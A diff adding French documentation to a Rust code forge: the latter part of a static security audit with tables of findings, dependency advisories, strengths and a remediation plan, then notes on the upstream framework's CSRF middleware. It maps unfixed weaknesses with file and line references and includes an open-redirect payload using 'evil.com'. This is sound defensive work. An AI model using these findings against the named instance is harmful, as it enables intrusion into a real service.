220 +| E-7 | Écritures issues/PR gardées par un droit de lecture (9 handlers) | `issues.rs:190,316,356,382` · `pull_requests.rs:193,630,658` · `api/issues.rs:209` · `api/pulls.rs:298` |
221 +| E-8 | Scopes de PAT jamais appliqués (`api:read` écrit, `git:read` pousse) | `extractors/api_auth.rs:106`, `git_http.rs:431` |
222 +| E-9 | IDOR : édition/suppression de labels d'autres dépôts | `handlers/labels.rs:174,246` + `label_service.rs:262,319` |
223 +| E-10 | IDOR : logs CI d'un dépôt privé lisibles depuis un autre dépôt | `handlers/ci.rs:116,179` |
224 +| E-11 | IDOR : suppression de variable CI d'un autre dépôt | `handlers/ci.rs:543` |
225 +| E-12 | CVE `russh` 0.58 exploitables **avant authentification** (port 2222) | RUSTSEC-2026-0154 / -0153, CVSS 7.5 |
226 +| E-13 | Création de répertoire arbitraire non authentifiée à l'inscription | `handlers/auth.rs:442`, `admin_users.rs:505` |
227 +| E-14 | Absence de timeout et de limite de taille sur les sous-processus git | `pack_protocol.rs:117`, `gitrust-ssh/src/session.rs:441` |
228 +| E-15 | `.env` distant jamais mis en `chmod 600` | `deployment/deploy.sh:414` |
229 +| E-16 | `APP_DEBUG=true` en production → cookies sans `Secure` | `.env`, `.env.production`, `deployment/.env_nuage` |
230 +| E-17 | Certificat TLS « snakeoil » actif dans la conf nginx livrée | `deployment/nginx-gitrust.conf:57` |
231 +| E-18 | PostgreSQL exposé en `0.0.0.0:5432` avec mot de passe de repli | `database/docker-compose.yml:19` |
232 +| E-19 | Secrets de l'hôte exposés au build CI ; runner colocalisé par défaut | `config.rs:189` (`CI_REMOTE_HOST=localhost`) |
233 +
234 +### 3.3 Moyennes (sélection)
235 +
236 +| ID | Constat | Fichier:ligne |
237 +|---|---|---|
238 +| M-1 | `username` non validé (cause racine de C-1, C-2, E-6, E-13) | `handlers/auth.rs:391`, `user_service.rs:32` *(upstream)* |
239 +| M-2 | Politique de mot de passe non appliquée à l'inscription ni au reset | `handlers/auth.rs:411`, `password_reset_service.rs:233` |
240 +| M-3 | Rate limiting des emails inerte (service réinstancié à chaque requête) | `handlers/password_reset.rs:65`, `email_verify.rs:44` |
241 +| M-4 | Aucune ré-authentification pour désactiver le 2FA, changer l'email, ajouter une clé SSH | `handlers/security.rs:187,230` |
242 +| M-5 | Changement d'email conserve le statut « vérifié », sans notification | `user_service.rs:190` *(upstream)* |
243 +| M-6 | Logout SSR ne révoque pas le JWT d'accès | `handlers/auth.rs:310` |
244 +| M-7 | Aucun anti-rejeu du code TOTP (fenêtre ~90 s) | `totp_service.rs:395` *(upstream)* |
245 +| M-8 | `bcrypt::verify` synchrone sur les codes de secours → saturation du runtime | `totp_service.rs:190` *(upstream)* |
246 +| M-9 | Squat d'empreinte de clé SSH + oracle d'existence | `ssh_key_service.rs:83` |
247 +| M-10 | CSP neutralisée par `unsafe-inline` ; `unsafe-eval` inutile | `rustwarden-core/src/app.rs:810` *(upstream)* |
248 +| M-11 | Redirection ouverte via `/login?redirect=/\evil.com` | `handlers/auth.rs:604` |
249 +| M-12 | IDOR : labels arbitraires assignables à la création d'une issue | `handlers/issues.rs:192` |
250 +| M-13 | `grant_team_access` accepte n'importe quel `team_id` | `handlers/collaborators.rs:299` |
251 +| M-14 | Énumération de dépôts privés (401 vs 404, HTTP et Git) | `helpers.rs:350`, `git_http.rs:363` |
252 +| M-15 | Sous-processus git sans nettoyage d'environnement | `gitrust-ssh/src/session.rs:580`, `pack_protocol.rs:84` |
253 +| M-16 | SSRF : validation d'URL sensible au DNS rebinding et aux redirections | `gitrust-git/src/remote.rs:40` |
254 +| M-17 | Rendu Markdown/syntect sans plafond de taille (DoS CPU) | `highlight.rs`, `issue_service.rs:37` |
255 +| M-18 | Store mémoire ssh-guard non borné entre deux purges horaires | `gitrust-ssh-guard/src/store/memory.rs:37` |
256 +| M-19 | `SSH_GUARD_MAX_CONCURRENT_PER_IP` défini mais jamais utilisé | `config.rs:324` |
257 +| M-20 | `setup-remote-ci.sh` : `curl \| sh` non vérifié, `source` du `.env` | `deployment/setup-remote-ci.sh:19,61,73` |
258 +| M-21 | Durcissement systemd incomplet ; `CAP_NET_BIND_SERVICE` inutile | `deployment/gitrust.service:17` |
259 +| M-22 | Image Docker : Syft installé depuis `main`, pas d'épinglage, pas de healthcheck | `docker/Dockerfile:55` |
260 +| M-23 | Mot de passe PG en dur dans une couche d'image | `docker/Dockerfile:84` |
261 +| M-24 | Nettoyage distant du workspace CI jamais awaité (fuite entre tenants) | `ci_worker.rs:507` |
262 +| M-25 | Fichier versionné au nom trompeur de clé privée | `deployment/root@gitrust.ebii.fr` |
263 +| M-26 | Ajout à une équipe sans consentement du membre | `handlers/user_teams.rs:181` |
264 +
265 +### 3.4 Faibles et informatifs (sélection)
266 +
267 +`must_change_password` jamais appliqué sur les pages SSR (`src/main.rs:490`) · 2FA obligatoire
268 +non appliqué aux chemins API · `GET /logout` déconnectable par requête intersite · refresh
269 +token SSR jamais rotaté (arbitrage documenté) · PAT créés depuis l'UI avec tous les scopes
270 +(`tokens.rs:41`) · pas de `session.cycle_id()` à la connexion · bootstrap admin sans complexité
271 +imposée · reset de mot de passe ne révoque ni PAT ni clés SSH · formulaire de suppression
272 +d'utilisateur sans jeton CSRF (fonctionnalité cassée, pas une brèche) · en-têtes COOP/COEP/CORP
273 +absents · XSS de rôle dans un `confirm()` (admin uniquement) · couleur de label non validée en
274 +hexadécimal · attribut `class` arbitraire autorisé dans le Markdown · `Cache-Control: no-store`
275 +absent sur les dépôts privés · secrets CI sérialisés en clair par l'API · `deploy_ebii.conf`
276 +versionné (topologie) · `.dockerignore` incomplet · `RUST_LOG=debug` en production · journal
277 +d'audit non inviolable.
278 +
279 +### 3.5 Dépendances — `cargo audit`
280 +
281 +**15 vulnérabilités, 7 avertissements.** Les cinq qui comptent pour cette architecture :
282 +
283 +| Avis | Paquet | CVSS | Pourquoi c'est pertinent ici |
284 +|---|---|---|---|
285 +| RUSTSEC-2026-0154 / -0153 | `russh`, `russh-cryptovec` 0.58.0 | 7.5 | Port SSH 2222 exposé, atteignable **sans authentification** |
286 +| RUSTSEC-2026-0258 | `h2` 0.4.13 | — | Trames DATA vides non bornées, serveur HTTP |
287 +| RUSTSEC-2026-0285 | `rustls` 0.23.37 | 5.3 | Messages TLS 1.3 acceptés hors niveau de chiffrement |
288 +| RUSTSEC-2026-0199 | `bcrypt` 0.19.0 | 5.3 | Panique sur hash non-ASCII, chemin d'authentification |
289 +| RUSTSEC-2026-0183 / -0184 | `git2` 0.20.4 | — | Comportement indéfini potentiel en FFI |
290 +
291 +**Note sur `ammonia` 4.1.2** (RUSTSEC-2026-0213 et -0193) : vérification faite, **ces deux avis
292 +ne sont pas exploitables ici**. Ils exigent l'autorisation explicite des balises SVG
293 +(`animate`, `set`) ou MathML (`annotation-xml`), et la configuration de `highlight.rs:94`
294 +n'ajoute que `details`, `summary` et `kbd` à l'allowlist par défaut, qui ne les contient pas.
295 +Mise à jour recommandée par hygiène, sans urgence.
296 +
297 +Correctif global : `russh ≥ 0.60.3`, `h2 ≥ 0.4.16`, `rustls ≥ 0.23.45`, `bcrypt ≥ 0.19.2`,
298 +`quick-xml ≥ 0.41.0`, `quinn-proto ≥ 0.11.15`, `ammonia ≥ 4.1.4`.
299 +
300 +---
301 +
302 +## 4. Analyses transverses
303 +
304 +### 4.1 Ce qui est réellement solide
305 +
306 +Il serait injuste de laisser les constats ci-dessus masquer un socle sérieux. Ces points sont
307 +des arguments défendables face à un prospect ou un auditeur.
308 +
309 +**Les invariants ANSSI annoncés sont tenus.** Les 35 directives
310 +`#[allow(clippy::unwrap_used, …)]` des crates `gitrust-*` sont **toutes** cantonnées à des
311 +modules `#[cfg(test)]`. Aucun `panic!`, `unreachable!` ni indexation directe atteignable depuis
312 +une entrée utilisateur. `#![forbid(unsafe_code)]` est effectif sur core/web/hooks/ssh-guard,
313 +`deny` sur git/ssh, et **aucun bloc `unsafe` n'existe dans le code du projet**. Pour un projet
314 +de 64 000 lignes, c'est remarquable — et c'est exactement le genre d'affirmation qu'un audit
315 +tiers vérifiera.
316 +
317 +**Aucune injection SQL.** Recherche exhaustive de `Statement::from_string`,
318 +`from_sql_and_values`, `raw_sql`, `execute_unprepared` et des `format!` de requêtes : le seul
319 +SQL brut est dans les migrations, avec des littéraux statiques. Tous les accès applicatifs
320 +passent par SeaORM paramétré, y compris la recherche et le tri.
321 +
322 +**Une porte unique pour la lecture des dépôts.** Tous les chemins de lecture passent par
323 +`resolve_repo_access` (`helpers.rs:300`). Aucun handler de lecture ne la contourne :
324 +arborescence, blob, commits, diff, branches, tags, issues, PR, CI, sécurité. **La fuite de
325 +dépôt privé par le contenu lui-même n'existe pas** ; les deux fuites relevées (E-10, M-14)
326 +passent par des ressources satellites ou le canal d'erreur.
327 +
328 +**Aucune route « raw ».** Il n'existe aucun point d'accès servant le contenu brut d'un blob, ni
329 +aucun upload d'avatar ou de pièce jointe. Le vecteur XSS stockée le plus classique d'une forge
330 +— servir un SVG hostile depuis l'origine — est structurellement fermé.
331 +
332 +**CSRF réellement robuste.** Jeton de 32 octets lié à la session, comparaison en temps constant
333 +via `subtle`, méthodes sûres exemptées, corps bufferisé et rejoué. La séparation
334 +`browser_routes` / `machine_routes` est rigoureuse : l'API JSON n'accepte **que** l'en-tête
335 +`Authorization`, sans repli sur cookie, ce qui rend le contournement par Bearer inoffensif. Les
336 +tests vérifient aussi le rejet d'un jeton *falsifié*, pas seulement absent.
337 +
338 +**Gestion des secrets d'authentification exemplaire.** Aucun secret stocké en clair : PAT et
339 +refresh tokens en SHA-256, jetons de reset en SHA-256 d'un UUID v4, secrets TOTP chiffrés en
340 +AES-256-GCM. `PersonalTokenService::verify` compare en temps constant. Les newtypes `TokenHash`
341 +et `PlainToken` sont zeroizés et leur `Display` est rédigé. `AuthService` vérifie un
342 +`DUMMY_HASH` même pour un identifiant inexistant, fermant l'énumération temporelle.
343 +
344 +**PROXY protocol correctement verrouillé.** L'en-tête n'est accepté que d'un pair figurant dans
345 +`trusted_proxies`, et le démarrage **échoue** si le PROXY est activé sans allowlist
346 +(`ssh-guard/src/config.rs:567`). L'usurpation d'IP pour contourner un ban est fermée — c'est le
347 +piège classique de ce type de couche, évité.
348 +
349 +**Sous-processus git en argv natif.** `pack_protocol`, `session.rs` et `sbom_service`
350 +n'utilisent pas de shell, allowlistent strictement les services (`git-upload-pack`,
351 +`git-receive-pack`) et refusent le shell interactif. `ci_worker` est la seule exception — d'où
352 +C-1.
353 +
354 +**Chaîne Markdown correcte.** pulldown-cmark laisse passer le HTML brut, mais `render_markdown`
355 +termine par `ammonia::clean` avec une allowlist proche du défaut. Les schémas `javascript:` et
356 +`data:` sont rejetés, `rel="noopener noreferrer"` est ajouté automatiquement. Le filtrage des
357 +`style=` de syntect est soigné, avec des tests couvrant `url(javascript:…)` et `expression(…)`.
358 +Les dix occurrences de `|safe` ont été inventoriées : **aucune n'est dangereuse**.
359 +
360 +**Journalisation propre.** Aucun mot de passe, jeton, en-tête `Authorization` ni cookie écrit
361 +dans les journaux. Aucun `println!` ni `dbg!` résiduel. Les erreurs de base renvoient un message
362 +générique au client, le détail restant côté serveur.
363 +
364 +**Défauts fonctionnels prudents.** Inscription fermée, validation d'email requise, rate
365 +limiting configuré, `SSH_GUARD_ENABLED=true` avec `SSH_GUARD_DRY_RUN=false`, `COOKIE_SECURE`
366 +forcé dès que `APP_DEBUG=false` (avec journalisation de l'override ignoré), `SameSite=Strict`
367 +par défaut, empreintes de clés SSH uniques globalement, RSA ≥ 4096 bits.
368 +
369 +Les commentaires `SEC-*` disséminés dans le code attestent d'un travail de durcissement
370 +antérieur méthodique. Les constats de ce rapport sont des **oublis ponctuels dans une
371 +architecture saine**, pas le symptôme d'une conception négligente.
372 +
373 +### 4.2 Le motif d'erreur dominant : la garde manquante sur une seule branche
374 +
375 +Six constats parmi les plus graves suivent exactement le même schéma : **le contrôle de
376 +sécurité existe, il est correctement écrit, mais une seule branche du code l'a oublié.**
377 +
378 +| Constat | Où le contrôle existe | Où il manque |
379 +|---|---|---|
380 +| C-1 | `sbom_service.rs:211` (argv natif, `commit_sha` validé) | `ci_worker.rs:380` (`sh -c`) |
381 +| C-2 | `on_user_registered` (valide `..`, `/`, `\`) | `on_user_deleted` (rien) |
382 +| C-3 | `pull_requests.rs:494` (SSR, `can_manage`) | `api/pulls.rs:190` (API, rien) |
383 +| E-10 | `api/ci.rs:223` (vérifie l'appartenance) | `ci.rs:116` (SSR, rien) |
384 +| E-11 | `api/ci.rs:542` (vérifie le scope) | `ci.rs:543` (SSR, rien) |
385 +| M-12 | `issue_labels.rs:56` (intersecte les IDs autorisés) | `issues.rs:192` (rien) |
386 +
387 +**Conséquence pratique** : les correctifs consistent à **généraliser des motifs déjà écrits et
388 +testés dans le dépôt**, pas à concevoir une nouvelle mécanique. Le risque de régression est
389 +faible.
390 +
391 +**Conséquence méthodologique** : ce motif se reproduira tant que les gardes seront appelées
392 +*dans le corps* des handlers plutôt que portées par le type. Un oubli ne produit alors aucune
393 +erreur de compilation. La correction structurante consiste à enrichir `ResolvedRepo` et
394 +`ApiRepoContext` d'un champ `can_push` et à exiger un extracteur typé pour les routes mutantes.
395 +
396 +### 4.3 Note sur la CI : le modèle de menace mérite d'être explicité
397 +
398 +Une CI exécute du code arbitraire **par conception** — ce n'est pas une vulnérabilité. Le
399 +problème est ailleurs, et il est double.
400 +
401 +D'abord, C-1 fait sortir l'exécution du périmètre prévu : elle a lieu sur l'hôte de la forge,
402 +pas sur le runner. L'isolation architecturale est contournée avant même d'entrer en jeu.
403 +
404 +Ensuite, `CI_REMOTE_HOST=localhost` est le **défaut** (`config.rs:189`), et
405 +`docs/CI_REMOTE_RUNNER.md` le présente comme valable pour « dev, petites prods ». Dans ce mode,
406 +le `dagger call` s'exécute sur la machine Gitrust, et Dagger requiert l'accès au socket Docker
407 +— c'est-à-dire root sur l'hôte. Le code CI d'un utilisateur quelconque peut alors monter
408 +`GIT_REPOS_BASE_PATH` et lire tous les dépôts privés. La documentation recommande bien
409 +l'isolation, mais **rien dans le code ne l'impose et le défaut la viole**.
410 +
411 +Recommandation : refuser `localhost` lorsque `APP_DEBUG=false`, ou au minimum émettre un
412 +avertissement de démarrage explicite. Documenter que le runner doit être une machine séparée,
413 +sans accès aux secrets ni aux dépôts.
414 +
415 +---
416 +
417 +## 5. Plan de remédiation
418 +
419 +### Immédiat — avant toute démonstration ou remise à un tiers
420 +
421 +| Action | Constats fermés | Effort |
422 +|---|---|---|
423 +| **Faire tourner tous les secrets** : `JWT_SECRET`, mot de passe PostgreSQL, `ADMIN_PASSWORD`, `SMTP_PASSWORD`, `OAUTH_ENCRYPTION_KEY` — production **et** démo. Puis purger `refresh_tokens` et `sessions`. | C-4, C-5, C-6 | 1 h |
424 +| **Déplacer le dump SQL** hors du dépôt, en `chmod 600`, et durcir `.gitignore` (`*.sql`, `/Services/`). | C-8 | 15 min |
425 +| **Valider `username`** : newtype sur le modèle de `RepoSlug` (`^[a-z0-9-]{3,39}$`, pas de tiret en tête/queue, noms réservés), appliqué à `register_submit`, à la route API, à `update_profile` et à `admin_users`. | C-1, C-2, E-6, E-13, M-1 | 2 h |
426 +| **Supprimer le `sh -c`** de `prepare_workspace` : chaîner `git archive` et `tar` en argv natif, comme `sbom_service.rs:211`. Valider `commit_sha` en `^[0-9a-f]{40}$`. | C-1, CI-04 | 1 h |
427 +| **Ajouter `can_manage` à `merge_pull`** (API). Trois lignes. | C-3 | 15 min |
428 +| **Valider le chemin dans `on_user_deleted`** : même contrôle que `on_user_registered`, plus vérification de containment après canonicalisation. | C-2 | 30 min |
429 +| **Vider `JWT_SECRET` dans `.env.example`** et rejeter au démarrage tout secret contenant `REMPLACER`, `CHANGE`, `EXAMPLE`, `TODO`. Faire échouer `deploy.sh` au lieu de promouvoir `.env.example`. | C-7 | 1 h |
430 +
431 +### Sous 48 heures
432 +
433 +- **Réécrire l'historique Git** (`git filter-repo --path .env.gitrustmule --path .env.test --invert-paths`), forcer la mise à jour des distants, demander la recréation de tous les clones. *À arbitrer selon le nombre de clones existants.* — **C-4, C-5**
434 +- Retirer `.env.test` du suivi, le remplacer par un `.env.test.example` à valeurs ostensiblement factices. — **C-5**
435 +- `APP_DEBUG=false` et `COOKIE_SECURE=true` sur toutes les instances servies en TLS. — **E-16**
436 +- Activer le certificat Let's Encrypt par défaut dans la conf nginx. — **E-17**
437 +- `chmod 600` sur le `.env` distant et sur la clé hôte SSH dans `deploy.sh`. — **E-15**
438 +- `cargo update` : `russh ≥ 0.60.3` en priorité (pré-authentification), puis `h2`, `rustls`, `bcrypt`. — **E-12**
439 +- Restreindre PostgreSQL à `127.0.0.1:5432` et rendre `POSTGRES_PASSWORD` obligatoire (`:?`). — **E-18**
440 +
441 +### Sous une semaine
442 +
443 +- **Ajouter `can_push` à `ResolvedRepo` et `ApiRepoContext`**, puis appliquer la garde aux neuf handlers d'écriture. C'est le correctif structurant : il supprime la cause racine plutôt que ses symptômes. — **E-7**
444 +- Sortir les valeurs dynamiques des attributs `onclick`/`onsubmit` vers des attributs `data-*` lus par délégation d'événement. Restreindre `validate_label_name` à un jeu de caractères sûr. — **E-5, E-6**
445 +- Porter les scopes dans `ApiUser`, exiger `GitWrite` strict sur `git-receive-pack`, exposer la sélection de scope à la création de PAT. — **E-8**
446 +- Passer le périmètre (`owner_id`, `repo_id`) dans les signatures de `LabelService`, `CiService` et `CiVariableService`, et filtrer en SQL. — **E-9, E-10, E-11, M-12**
447 +- Faire échouer en mode fermé le contrôle 2FA, et poser un `RateLimitService` statique sur `POST /login` (clé IP **et** clé identifiant) et sur `POST /login/2fa`. — **E-1, E-2, E-3**
448 +- Brancher la vérification d'email sur le login SSR et envoyer le mail de validation à l'inscription. — **E-4**
449 +- Retirer `'unsafe-eval'` de la CSP (aucun impact fonctionnel constaté), corriger la redirection ouverte (`\` traité comme `/`). — **M-10, M-11**
450 +- Timeouts sur les sous-processus git, `DefaultBodyLimit` explicite, brancher `SSH_GUARD_MAX_CONCURRENT_PER_IP`. — **E-14, M-19**
451 +
452 +### Sous un mois
453 +
454 +- Externaliser les 7 blocs `<script>` inline, puis retirer `'unsafe-inline'` de `script-src`.
455 +- Compléter le durcissement systemd (`CapabilityBoundingSet=`, `SystemCallFilter`, `RestrictAddressFamilies`, `MemoryMax`), retirer `CAP_NET_BIND_SERVICE`.
456 +- Fiabiliser `setup-remote-ci.sh` : empreintes SHA-256 épinglées au lieu de `curl | sh`, parsing du `.env` au lieu de `source`.
457 +- Épingler les images Docker par empreinte, ajouter les healthchecks, retirer `DATABASE_URL` du `ENV` du Dockerfile.
458 +- Ré-authentification (« sudo mode ») pour désactiver le 2FA, changer l'email, ajouter une clé SSH, créer un PAT. Confirmation par email du changement d'adresse.
459 +- Refuser `CI_REMOTE_HOST=localhost` en production, ou avertir bruyamment.
460 +- Uniformiser les réponses d'erreur sur 404 pour fermer l'énumération de dépôts privés.
461 +- Rendre `cargo audit --deny warnings` bloquant dans le pipeline Dagger, et ajouter `gitleaks` ou `trufflehog`.
462 +- Ajouter un test qui échoue sur tout `<form method="post">` dépourvu de `csrf_token`.
463 +
464 +---
465 +
466 +## 6. Limites de cet audit
467 +
468 +**Analyse statique exclusivement.** Aucun scénario n'a été rejoué contre une instance en
469 +fonctionnement. Les niveaux de confiance « confirmé » signifient « établi par lecture du code
470 +et de ses appelants », pas « exploité en conditions réelles ». Les constats C-1, C-3, E-1, E-5
471 +et E-6 se prêtent bien à des tests d'intégration de non-régression, un par scénario — c'est la
472 +suite logique de ce rapport.
473 +
474 +**Fédération ActivityPub exclue** sur consigne. Attention toutefois : `AccessService` expose
475 +des variantes `*_for_identity` acceptant `Identity::Remote`, et `git_http.rs` route les PAT
476 +`rwfed_pat_*` vers un vérificateur distinct. La frontière entre les deux mondes est perméable,
477 +et les correctifs de E-7 et E-8 devront traiter les deux formes d'identité. Un audit dédié
478 +reste nécessaire, d'autant que trois gabarits fediverse ont été repérés sans jeton CSRF.
479 +
480 +**Valeurs de production non vérifiées.** `.env.production` de l'instance `gitrust.nuage.ebii`
481 +n'est pas dans le dépôt. Les valeurs effectives de `APP_DEBUG`, `COOKIE_SECURE` et
482 +`CORS_ALLOWED_ORIGINS` sur la machine cible restent à confirmer. E-15, E-16 et E-18 en dépendent
483 +directement.
484 +
485 +**Non examinés** : règles fail2ban, module Dagger `.dagger/`, profils `ci-engine/profiles/`,
486 +dépendances npm (`npm audit` non exécuté), sûreté de Mermaid face à un diagramme hostile,
487 +privilèges PostgreSQL effectifs du rôle applicatif, contenu réel du dump SQL (volontairement
488 +non lu, seuls les blocs `COPY` ont été comptés).
489 +
490 +**Framework `rustwarden-core`** inspecté en lecture seule et uniquement sur les points
491 +directement pertinents. Neuf constats en relèvent (marqués *upstream*) et doivent être soit
492 +contournés côté gitrust par wrapper, soit remontés en amont, conformément à la règle de
493 +non-modification.
494 +
495 +---
496 +
497 +## 7. Traçabilité
498 +
499 +Audit réalisé par six analyses parallèles spécialisées, dont les constats les plus graves ont
500 +été revérifiés manuellement sur le code source :
501 +
502 +| Volet | Constats | Vérification manuelle |
503 +|---|---|---|
504 +| Authentification et identité | 23 | fail-open 2FA, absence de validation `username` |
505 +| Autorisation, IDOR, visibilité | 11 | `resolve_api_repo`, `merge_pull` |
506 +| Accès Git (HTTP, SSH, ssh-guard) | 16 | `on_user_deleted`, `compute_disk_path` |
507 +| Injections, CI, SSRF, SQL | 16 | `sh -c` de `prepare_workspace` |
508 +| XSS, CSRF, en-têtes, CSP | 11 | attributs `onclick`/`onsubmit`, configuration ammonia |
509 +| Configuration, déploiement, secrets | 18 | empreintes `ADMIN_PASSWORD`, historique Git, `.env.test` |
510 +
511 +`cargo audit` exécuté le 17 septembre 2026 : 15 vulnérabilités, 7 avertissements.
A docs/UPSTREAM_RUSTWARDEN copy.md
+711 -0
@@ -0,0 +1,711 @@
1 +# Notes sur l'utilisation de RustWarden-core dans Gitrust
2 +
3 +Ce fichier documente les interactions entre Gitrust et le framework RustWarden-core.
4 +
5 +## Services framework utilises
6 +
7 +| Service | Usage dans Gitrust |
8 +|---------|-------------------|
9 +| `UserService` | CRUD users, roles, `delete_user`, `admin_reset_password`, `change_password_direct`, `unassign_role_from_user` |
10 +| `RoleService` | Liste/creation/suppression roles, `get_role_by_name` |
11 +| `PasswordService` | `hash_password` (async), `verify_password` (async), `generate_secure_password` |
12 +| `ResourceService` | `register`/`unregister` repos, `set_public`, `effective_permission`, `find_by_type_and_id` |
13 +| `AuthService` | `authenticate_user` (login) |
14 +| `JwtService` | `generate_token` (login) |
15 +| `EmailValidationService` | Verification email |
16 +| `PasswordResetService` | Flux "mot de passe oublie" |
17 +| `AppSettingsService` | `get_bool` pour `registration_enabled` |
18 +
19 +## Hook `on_user_deleted` implemente
20 +
21 +Le hook `on_user_deleted` dans `gitrust-hooks` supprime le repertoire utilisateur sur le filesystem (`repos_base_path/username/`) avant la cascade DB. Appele automatiquement par `UserService::delete_user`.
22 +
23 +## Aucun contournement en cours
24 +
25 +Tous les anciens contournements (entity directes, hash manuels) ont ete remplaces par les services du framework suite a la mise a jour du 2026-03-26.
26 +
27 +---
28 +
29 +## Propositions d'amelioration framework (backlog upstream)
30 +
31 +Cette section liste les limitations observees cote gitrust lors de l'integration et les ameliorations qui benificieraient a toutes les apps batissant sur rustwarden-core. Chaque entree decrit : le contexte, la limitation actuelle, le workaround cote gitrust (temporaire) et la(les) proposition(s) a soumettre upstream.
32 +
33 +### ~~1. Middleware CSRF incompatible avec les formulaires SSR `application/x-www-form-urlencoded`~~ — RESOLU 2026-04-22
34 +
35 +**Status** : Implemente en Phase 2.1 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)).
36 +
37 +Proposition A retenue :
38 +- Nouveau [`CsrfProtectionConfig`](../crates/rustwarden-core/src/middleware/csrf.rs) avec `accept_form_body: bool` + `max_form_body_bytes: usize` (default 1 MiB).
39 +- Nouveau middleware [`csrf_protection_with_config`](../crates/rustwarden-core/src/middleware/csrf.rs) qui buffer le body url-encoded, extrait `csrf_token`, valide constant-time, reconstruit le body.
40 +- Helper public bonus [`extract_csrf_from_form(body: &[u8])`](../crates/rustwarden-core/src/middleware/csrf.rs) (proposition B).
41 +- Multipart skip, body > cap → 413, 11 tests TDD.
42 +- `csrf_protection` existante inchangee (backwards-compat).
43 +
44 +---
45 +
46 +### 1bis. Details historiques (avant resolution)
47 +
48 +**Date de detection** : 2026-04-21 (iteration CSRF admin ssh-guard).
49 +
50 +**Contexte** : Gitrust est une app SSR pure — pas de JavaScript global, pas de fetch interceptor qui injecterait automatiquement un header `X-CSRF-Token`. Tous les formulaires POST envoient leur token via un champ cache `<input type="hidden" name="csrf_token" value="{{ layout.csrf_token }}">` dans un body `application/x-www-form-urlencoded`.
51 +
52 +**Limitation du framework** : le middleware [`csrf_protection`](../crates/rustwarden-core/src/middleware/csrf.rs) ne lit que le header `X-CSRF-Token` — il ne parse pas le body. Le commentaire dans le code ([csrf.rs:81-83](../crates/rustwarden-core/src/middleware/csrf.rs#L81)) l'indique explicitement :
53 +
54 +```rust
55 +// For form data, we would need to parse the body
56 +// This is handled in handlers that process form data
57 +```
58 +
59 +Consequence : appliquer `csrf_protection` comme layer axum sur un routeur qui sert des formulaires SSR fait systematiquement renvoyer `403 CSRF token required` — le middleware ne voit jamais le token qui est pourtant dans le body. Les apps SSR sont forcees de :
60 +- soit implementer leur propre middleware buffer-body (duplication + risque d'incoherence),
61 +- soit appeler `validate_csrf_token` manuellement dans chaque handler POST (invasion de boilerplate).
62 +
63 +**Workaround actuel cote gitrust** : middleware [`admin_csrf_protection`](../crates/gitrust-web/src/middleware.rs) qui :
64 +1. Accepte les methodes safe (`GET`/`HEAD`/`OPTIONS`) sans verification.
65 +2. Skip les requetes `Authorization: Bearer` (API JWT non vulnerable).
66 +3. Essaie d'abord le header `X-CSRF-Token` (compat future avec HTMX/fetch).
67 +4. A defaut, bufferise le body (cap 1 MiB), extrait `csrf_token=...` via parsing URL-encoded, valide via `rustwarden_core::middleware::csrf::validate_csrf_token`, reconstruit le body avec `Body::from(bytes)` pour que le handler downstream puisse re-decoder sa struct `Form<T>`.
68 +
69 +Ce middleware est **duplicat de logique framework** : il reimplemente la detection bearer, le skip des methodes safe, et le flow de validation. Toute evolution du framework (nouveau type d'auth, changement de flow CSRF) necessite une mise a jour synchronisee cote gitrust.
70 +
71 +**Propositions d'amelioration** (par ordre de preference) :
72 +
73 +#### Proposition A — Extension de `csrf_protection` avec option `accept_form_body`
74 +
75 +Ajouter un parametre optionnel au middleware pour activer la lecture du body :
76 +
77 +```rust
78 +// Nouveau dans rustwarden_core::middleware::csrf
79 +pub struct CsrfProtectionConfig {
80 + /// Si true, lit le champ `csrf_token` du body form-urlencoded
81 + /// quand le header `X-CSRF-Token` est absent. Bufferise le body
82 + /// en RAM (attention aux uploads multipart — ignores).
83 + /// Defaut : false (compatibilite avec le comportement existant).
84 + pub accept_form_body: bool,
85 + /// Taille max du body bufferise. Defaut : 1 MiB.
86 + pub max_form_body_bytes: usize,
87 +}
88 +
89 +impl Default for CsrfProtectionConfig {
90 + fn default() -> Self {
91 + Self {
92 + accept_form_body: false,
93 + max_form_body_bytes: 1024 * 1024,
94 + }
95 + }
96 +}
97 +
98 +/// Nouveau constructeur pour apps SSR.
99 +pub async fn csrf_protection_with_config(
100 + State((db, cfg)): State<(DatabaseConnection, Arc<CsrfProtectionConfig>)>,
101 + session: Session,
102 + uri: Uri,
103 + request: Request,
104 + next: Next,
105 +) -> Result<Response, AppError> {
106 + // ... flow existant + branche buffer-body si cfg.accept_form_body
107 +}
108 +```
109 +
110 +**Pros** : change pas l'API existante (backwards-compatible), offre directement la feature aux apps SSR, centralise la logique dans le framework.
111 +**Cons** : ajoute de la complexite (buffer-body logic dans le framework), risque edge-cases (multipart/form-data, content-type personnalise, body stream non-buffered).
112 +
113 +#### Proposition B — Helper `extract_csrf_from_form(body: &[u8]) -> Option<String>`
114 +
115 +Exporter la logique de parsing en helper public pour que les apps SSR l'utilisent dans leur propre middleware :
116 +
117 +```rust
118 +// Nouveau dans rustwarden_core::middleware::csrf
119 +/// Extrait le champ `csrf_token` d'un body `application/x-www-form-urlencoded`
120 +/// URL-encode. Retourne `None` si le champ est absent ou le body malforme.
121 +pub fn extract_csrf_from_form(body: &[u8]) -> Option<String> { ... }
122 +```
123 +
124 +**Pros** : intervention minimale, pas de changement de signature middleware, bibliotheque de petites briques.
125 +**Cons** : chaque app SSR doit quand meme ecrire son middleware complet ; duplication reste partielle.
126 +
127 +#### Proposition C — Feature flag `ssr-forms` qui ajoute un middleware dedie
128 +
129 +```rust
130 +// Dans rustwarden_core (derriere feature = "ssr-forms")
131 +pub async fn csrf_protection_ssr(
132 + State(db): State<DatabaseConnection>,
133 + session: Session,
134 + uri: Uri,
135 + request: Request,
136 + next: Next,
137 +) -> Result<Response, AppError> {
138 + // Flow complet avec buffer-body + validation
139 +}
140 +```
141 +
142 +**Pros** : isole la logique SSR derriere une feature (pas de overhead pour les apps API-only), nom explicite.
143 +**Cons** : eclate l'API CSRF en deux (risque de confusion pour les devs), impose aux apps SSR d'activer la feature.
144 +
145 +**Recommendation** : proposition A (`accept_form_body` en config). C'est la moins invasive du point de vue de l'API, elle garde le comportement par defaut intact, et elle deplace la complexite buffer-body dans le framework ou elle est testable de facon centralisee.
146 +
147 +**Criteres d'acceptation** pour le PR upstream :
148 +- [ ] `csrf_protection` existante continue de fonctionner sans changement (backwards-compat).
